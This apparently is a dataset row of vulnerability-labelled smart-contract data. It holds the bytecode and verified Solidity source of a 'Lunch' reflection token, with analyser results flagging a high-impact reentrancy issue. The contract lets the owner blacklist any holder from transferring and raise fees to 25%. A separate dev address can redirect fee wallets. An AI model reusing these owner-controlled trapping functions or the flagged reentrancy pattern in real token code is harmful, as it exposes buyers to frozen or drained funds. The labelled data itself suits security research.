6816113dc565b6112108483611426565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161125591815260200190565b60405180910390a3505050505050505050565b600081836112895760405162461bcd60e51b81526004016103ef9190611792565b506000610e6684866118a5565b60085460009081906b033b2e3c9fd0803ce80000006112b5828261110c565b8210156112d5575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006112fb8a600a54600b5461144a565b925092509250600061130b61114e565b9050600080600061131e8e87878761149f565b919e509c509a509598509396509194505050505091939550919395565b6000610f7183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e35565b60008061138a838561188d565b905083811015610f715760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103ef565b60006113e661114e565b905060006113f483836114ef565b30600090815260026020526040902054909150611411908261137d565b30600090815260026020526040902055505050565b600854611433908361133b565b600855600954611443908261137d565b6009555050565b6000808080611464606461145e89896114ef565b9061110c565b90506000611477606461145e8a896114ef565b9050600061148f826114898b8661133b565b9061133b565b9992985090965090945050505050565b60008080806114ae88866114ef565b905060006114bc88876114ef565b905060006114ca88886114ef565b905060006114dc82611489868661133b565b939b939a50919850919650505050505050565b6000826114fe57506000610356565b600061150a83856118c7565b90508261151785836118a5565b14610f715760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103ef565b80356115798161195a565b919050565b60006020828403121561159057600080fd5b8135610f718161195a565b6000602082840312156115ad57600080fd5b8151610f718161195a565b600080604083850312156115cb57600080fd5b82356115d68161195a565b915060208301356115e68161195a565b809150509250929050565b60008060006060848603121561160657600080fd5b83356116118161195a565b925060208401356116218161195a565b929592945050506040919091013590565b6000806040838503121561164557600080fd5b82356116508161195a565b946020939093013593505050565b6000602080838503121561167157600080fd5b823567ffffffffffffffff8082111561168957600080fd5b818501915085601f83011261169d57600080fd5b8135818111156116af576116af611944565b8060051b604051601f19603f830116810181811085821117156116d4576116d4611944565b604052828152858101935084860182860187018a10156116f357600080fd5b600095505b8386101561171d576117098161156e565b8552600195909501949386019386016116f8565b5098975050505050505050565b60006020828403121561173c57600080fd5b8135610f718161196f565b60006020828403121561175957600080fd5b8151610f718161196f565b60008060006060848603121561177957600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156117bf578581018301518582016040015282016117a3565b818111156117d1576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561186c5784516001600160a01b031683529383019391830191600101611847565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156118a0576118a0611918565b500190565b6000826118c257634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156118e1576118e1611918565b500290565b6000828210156118f8576118f8611918565b500390565b600060001982141561191157611911611918565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461048b57600080fd5b801515811461048b57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209f3c5d5ebd37cbe8caefabd822295083d448294ad3f293cd74ecac219ef2637364736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,456 |
0xe5610107ddbf79b7c22b66dadecb6d8d8b749a12
|
//104 116 116 112 115 58 47 47 116 46 109 101 47 65 108 112 104 97 76 97 117 110 99 104 101 115
//ASCII
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Lunch is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Lunch";
string private constant _symbol = "LUNCH";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 0; // 0%
uint256 private _teamFee = 10; // 10% Marketing and Development Fee
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _numOfTokensToExchangeForTeam = 500000 * 10**9;
uint256 private _routermax = 5000000000 * 10**9;
// Bot detection
mapping(address => bool) private bots;
mapping(address => bool) private whitelist;
mapping(address => uint256) private cooldown;
address payable private _MarketTax;
address payable private _Dev;
address payable private _DevFee;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private publicsale = false;
uint256 private _maxTxAmount = _tTotal;
uint256 public launchBlock;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable markettax, address payable devfee, address payable dev) {
_MarketTax = markettax;
_Dev = dev;
_DevFee = devfee;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_MarketTax] = true;
_isExcludedFromFee[_DevFee] = true;
_isExcludedFromFee[_Dev] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if(from != address(this)){
require(amount <= _maxTxAmount);
}
require(!bots[from] && !bots[to] && !bots[msg.sender]);
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _routermax)
{
contractTokenBalance = _routermax;
}
bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam;
if (!inSwap && swapEnabled && overMinTokenBalance && from != uniswapV2Pair && from != address(uniswapV2Router)
) {
// We need to swap the current tokens to ETH and send to the team wallet
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function isExcluded(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function isBlackListed(address account) public view returns (bool) {
return bots[account];
}
function isWhiteListed(address account) public view returns (bool) {
return whitelist[account];
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_MarketTax.transfer(amount.div(2));
_DevFee.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
publicsale = false;
_maxTxAmount = 20000000000 * 10**9;
launchBlock = block.number;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function setSwapEnabled(bool enabled) external {
require(_msgSender() == _Dev);
swapEnabled = enabled;
}
function manualswap() external {
require(_msgSender() == _Dev);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _Dev);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner() {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setRouterPercent(uint256 maxRouterPercent) external {
require(_msgSender() == _Dev);
require(maxRouterPercent > 0, "Amount must be greater than 0");
_routermax = _tTotal.mul(maxRouterPercent).div(10**4);
}
function _setTeamFee(uint256 teamFee) external onlyOwner() {
require(teamFee >= 0 && teamFee <= 25, 'teamFee should be in 0 - 25');
_teamFee = teamFee;
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function setMarket(address payable account) external {
require(_msgSender() == _Dev);
_MarketTax = account;
}
function setDev(address payable account) external {
require(_msgSender() == _Dev);
_Dev = account;
}
function setDevPay(address payable account) external {
require(_msgSender() == _Dev);
_DevFee = account;
}
}
|
0x6080604052600436106101bb5760003560e01c80638f890301116100ec578063cba0e9961161008a578063d543dbeb11610064578063d543dbeb1461050d578063dd62ed3e1461052d578063e01af92c14610573578063e47d60601461059357600080fd5b8063cba0e9961461049e578063d00efb2f146104d7578063d477f05f146104ed57600080fd5b8063b515566a116100c6578063b515566a14610434578063c0e6b46e14610454578063c3c8cd8014610474578063c9567bf91461048957600080fd5b80638f890301146103c657806395d89b41146103e6578063a9059cbb1461041457600080fd5b8063437823ec116101595780636fc3eaec116101335780636fc3eaec1461035457806370a0823114610369578063715018a6146103895780638da5cb5b1461039e57600080fd5b8063437823ec146102db5780636dcea85f146102fb5780636f9170f61461031b57600080fd5b806323b872dd1161019557806323b872dd1461025d578063273123b71461027d578063286671621461029f578063313ce567146102bf57600080fd5b806306fdde03146101c7578063095ea7b31461020757806318160ddd1461023757600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b50604080518082019091526005815264098eadcc6d60db1b60208201525b6040516101fe9190611d14565b60405180910390f35b34801561021357600080fd5b50610227610222366004611ba5565b6105cc565b60405190151581526020016101fe565b34801561024357600080fd5b50683635c9adc5dea000005b6040519081526020016101fe565b34801561026957600080fd5b50610227610278366004611b65565b6105e3565b34801561028957600080fd5b5061029d610298366004611af5565b61064c565b005b3480156102ab57600080fd5b5061029d6102ba366004611ccf565b6106a0565b3480156102cb57600080fd5b50604051600981526020016101fe565b3480156102e757600080fd5b5061029d6102f6366004611af5565b610720565b34801561030757600080fd5b5061029d610316366004611af5565b61076e565b34801561032757600080fd5b50610227610336366004611af5565b6001600160a01b03166000908152600f602052604090205460ff1690565b34801561036057600080fd5b5061029d6107b0565b34801561037557600080fd5b5061024f610384366004611af5565b6107dd565b34801561039557600080fd5b5061029d6107ff565b3480156103aa57600080fd5b506000546040516001600160a01b0390911681526020016101fe565b3480156103d257600080fd5b5061029d6103e1366004611af5565b610873565b3480156103f257600080fd5b50604080518082019091526005815264098aa9c86960db1b60208201526101f1565b34801561042057600080fd5b5061022761042f366004611ba5565b6108b5565b34801561044057600080fd5b5061029d61044f366004611bd0565b6108c2565b34801561046057600080fd5b5061029d61046f366004611ccf565b610966565b34801561048057600080fd5b5061029d6109fb565b34801561049557600080fd5b5061029d610a31565b3480156104aa57600080fd5b506102276104b9366004611af5565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156104e357600080fd5b5061024f60175481565b3480156104f957600080fd5b5061029d610508366004611af5565b610df8565b34801561051957600080fd5b5061029d610528366004611ccf565b610e3a565b34801561053957600080fd5b5061024f610548366004611b2d565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561057f57600080fd5b5061029d61058e366004611c97565b610f07565b34801561059f57600080fd5b506102276105ae366004611af5565b6001600160a01b03166000908152600e602052604090205460ff1690565b60006105d9338484610f45565b5060015b92915050565b60006105f0848484611069565b610642843361063d85604051806060016040528060288152602001611ee5602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061134b565b610f45565b5060019392505050565b6000546001600160a01b0316331461067f5760405162461bcd60e51b815260040161067690611d67565b60405180910390fd5b6001600160a01b03166000908152600e60205260409020805460ff19169055565b6000546001600160a01b031633146106ca5760405162461bcd60e51b815260040161067690611d67565b601981111561071b5760405162461bcd60e51b815260206004820152601b60248201527f7465616d4665652073686f756c6420626520696e2030202d20323500000000006044820152606401610676565b600955565b6000546001600160a01b0316331461074a5760405162461bcd60e51b815260040161067690611d67565b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b6012546001600160a01b0316336001600160a01b03161461078e57600080fd5b601180546001600160a01b0319166001600160a01b0392909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107d057600080fd5b476107da81611385565b50565b6001600160a01b0381166000908152600260205260408120546105dd9061140a565b6000546001600160a01b031633146108295760405162461bcd60e51b815260040161067690611d67565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6012546001600160a01b0316336001600160a01b03161461089357600080fd5b601380546001600160a01b0319166001600160a01b0392909216919091179055565b60006105d9338484611069565b6000546001600160a01b031633146108ec5760405162461bcd60e51b815260040161067690611d67565b60005b8151811015610962576001600e600084848151811061091e57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061095a81611e7a565b9150506108ef565b5050565b6012546001600160a01b0316336001600160a01b03161461098657600080fd5b600081116109d65760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610676565b6109f56127106109ef683635c9adc5dea000008461148e565b9061150d565b600d5550565b6012546001600160a01b0316336001600160a01b031614610a1b57600080fd5b6000610a26306107dd565b90506107da8161154f565b6000546001600160a01b03163314610a5b5760405162461bcd60e51b815260040161067690611d67565b601554600160a01b900460ff1615610ab55760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610676565b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610af23082683635c9adc5dea00000610f45565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b2b57600080fd5b505afa158015610b3f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b639190611b11565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610bab57600080fd5b505afa158015610bbf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610be39190611b11565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610c2b57600080fd5b505af1158015610c3f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c639190611b11565b601580546001600160a01b0319166001600160a01b039283161790556014541663f305d7194730610c93816107dd565b600080610ca86000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610d0b57600080fd5b505af1158015610d1f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d449190611ce7565b5050601580546801158e460913d000006016554360175563ffff00ff60a01b1981166201000160a01b1790915560145460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610dc057600080fd5b505af1158015610dd4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109629190611cb3565b6012546001600160a01b0316336001600160a01b031614610e1857600080fd5b601280546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610e645760405162461bcd60e51b815260040161067690611d67565b60008111610eb45760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610676565b610ecc60646109ef683635c9adc5dea000008461148e565b60168190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6012546001600160a01b0316336001600160a01b031614610f2757600080fd5b60158054911515600160b01b0260ff60b01b19909216919091179055565b6001600160a01b038316610fa75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610676565b6001600160a01b0382166110085760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610676565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110cd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610676565b6001600160a01b03821661112f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610676565b600081116111915760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610676565b6000546001600160a01b038481169116148015906111bd57506000546001600160a01b03838116911614155b156112ee576001600160a01b03831630146111e1576016548111156111e157600080fd5b6001600160a01b0383166000908152600e602052604090205460ff1615801561122357506001600160a01b0382166000908152600e602052604090205460ff16155b801561123f5750336000908152600e602052604090205460ff16155b61124857600080fd5b6000611253306107dd565b9050600d5481106112635750600d545b600c546015549082101590600160a81b900460ff1615801561128e5750601554600160b01b900460ff165b80156112975750805b80156112b157506015546001600160a01b03868116911614155b80156112cb57506014546001600160a01b03868116911614155b156112eb576112d98261154f565b4780156112e9576112e947611385565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061133057506001600160a01b03831660009081526005602052604090205460ff165b15611339575060005b611345848484846116f4565b50505050565b6000818484111561136f5760405162461bcd60e51b81526004016106769190611d14565b50600061137c8486611e63565b95945050505050565b6011546001600160a01b03166108fc61139f83600261150d565b6040518115909202916000818181858888f193505050501580156113c7573d6000803e3d6000fd5b506013546001600160a01b03166108fc6113e283600261150d565b6040518115909202916000818181858888f19350505050158015610962573d6000803e3d6000fd5b60006006548211156114715760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610676565b600061147b611722565b9050611487838261150d565b9392505050565b60008261149d575060006105dd565b60006114a98385611e44565b9050826114b68583611e24565b146114875760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610676565b600061148783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611745565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106115a557634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156115f957600080fd5b505afa15801561160d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116319190611b11565b8160018151811061165257634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526014546116789130911684610f45565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906116b1908590600090869030904290600401611d9c565b600060405180830381600087803b1580156116cb57600080fd5b505af11580156116df573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061170157611701611773565b61170c8484846117a1565b8061134557611345600a54600855600b54600955565b600080600061172f611898565b909250905061173e828261150d565b9250505090565b600081836117665760405162461bcd60e51b81526004016106769190611d14565b50600061137c8486611e24565b6008541580156117835750600954155b1561178a57565b60088054600a5560098054600b5560009182905555565b6000806000806000806117b3876118da565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117e59087611937565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546118149086611979565b6001600160a01b038916600090815260026020526040902055611836816119d8565b6118408483611a22565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161188591815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006118b4828261150d565b8210156118d157505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006118f78a600854600954611a46565b9250925092506000611907611722565b9050600080600061191a8e878787611a95565b919e509c509a509598509396509194505050505091939550919395565b600061148783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061134b565b6000806119868385611e0c565b9050838110156114875760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610676565b60006119e2611722565b905060006119f0838361148e565b30600090815260026020526040902054909150611a0d9082611979565b30600090815260026020526040902055505050565b600654611a2f9083611937565b600655600754611a3f9082611979565b6007555050565b6000808080611a5a60646109ef898961148e565b90506000611a6d60646109ef8a8961148e565b90506000611a8582611a7f8b86611937565b90611937565b9992985090965090945050505050565b6000808080611aa4888661148e565b90506000611ab2888761148e565b90506000611ac0888861148e565b90506000611ad282611a7f8686611937565b939b939a50919850919650505050505050565b8035611af081611ec1565b919050565b600060208284031215611b06578081fd5b813561148781611ec1565b600060208284031215611b22578081fd5b815161148781611ec1565b60008060408385031215611b3f578081fd5b8235611b4a81611ec1565b91506020830135611b5a81611ec1565b809150509250929050565b600080600060608486031215611b79578081fd5b8335611b8481611ec1565b92506020840135611b9481611ec1565b929592945050506040919091013590565b60008060408385031215611bb7578182fd5b8235611bc281611ec1565b946020939093013593505050565b60006020808385031215611be2578182fd5b823567ffffffffffffffff80821115611bf9578384fd5b818501915085601f830112611c0c578384fd5b813581811115611c1e57611c1e611eab565b8060051b604051601f19603f83011681018181108582111715611c4357611c43611eab565b604052828152858101935084860182860187018a1015611c61578788fd5b8795505b83861015611c8a57611c7681611ae5565b855260019590950194938601938601611c65565b5098975050505050505050565b600060208284031215611ca8578081fd5b813561148781611ed6565b600060208284031215611cc4578081fd5b815161148781611ed6565b600060208284031215611ce0578081fd5b5035919050565b600080600060608486031215611cfb578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611d4057858101830151858201604001528201611d24565b81811115611d515783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611deb5784516001600160a01b031683529383019391830191600101611dc6565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611e1f57611e1f611e95565b500190565b600082611e3f57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611e5e57611e5e611e95565b500290565b600082821015611e7557611e75611e95565b500390565b6000600019821415611e8e57611e8e611e95565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5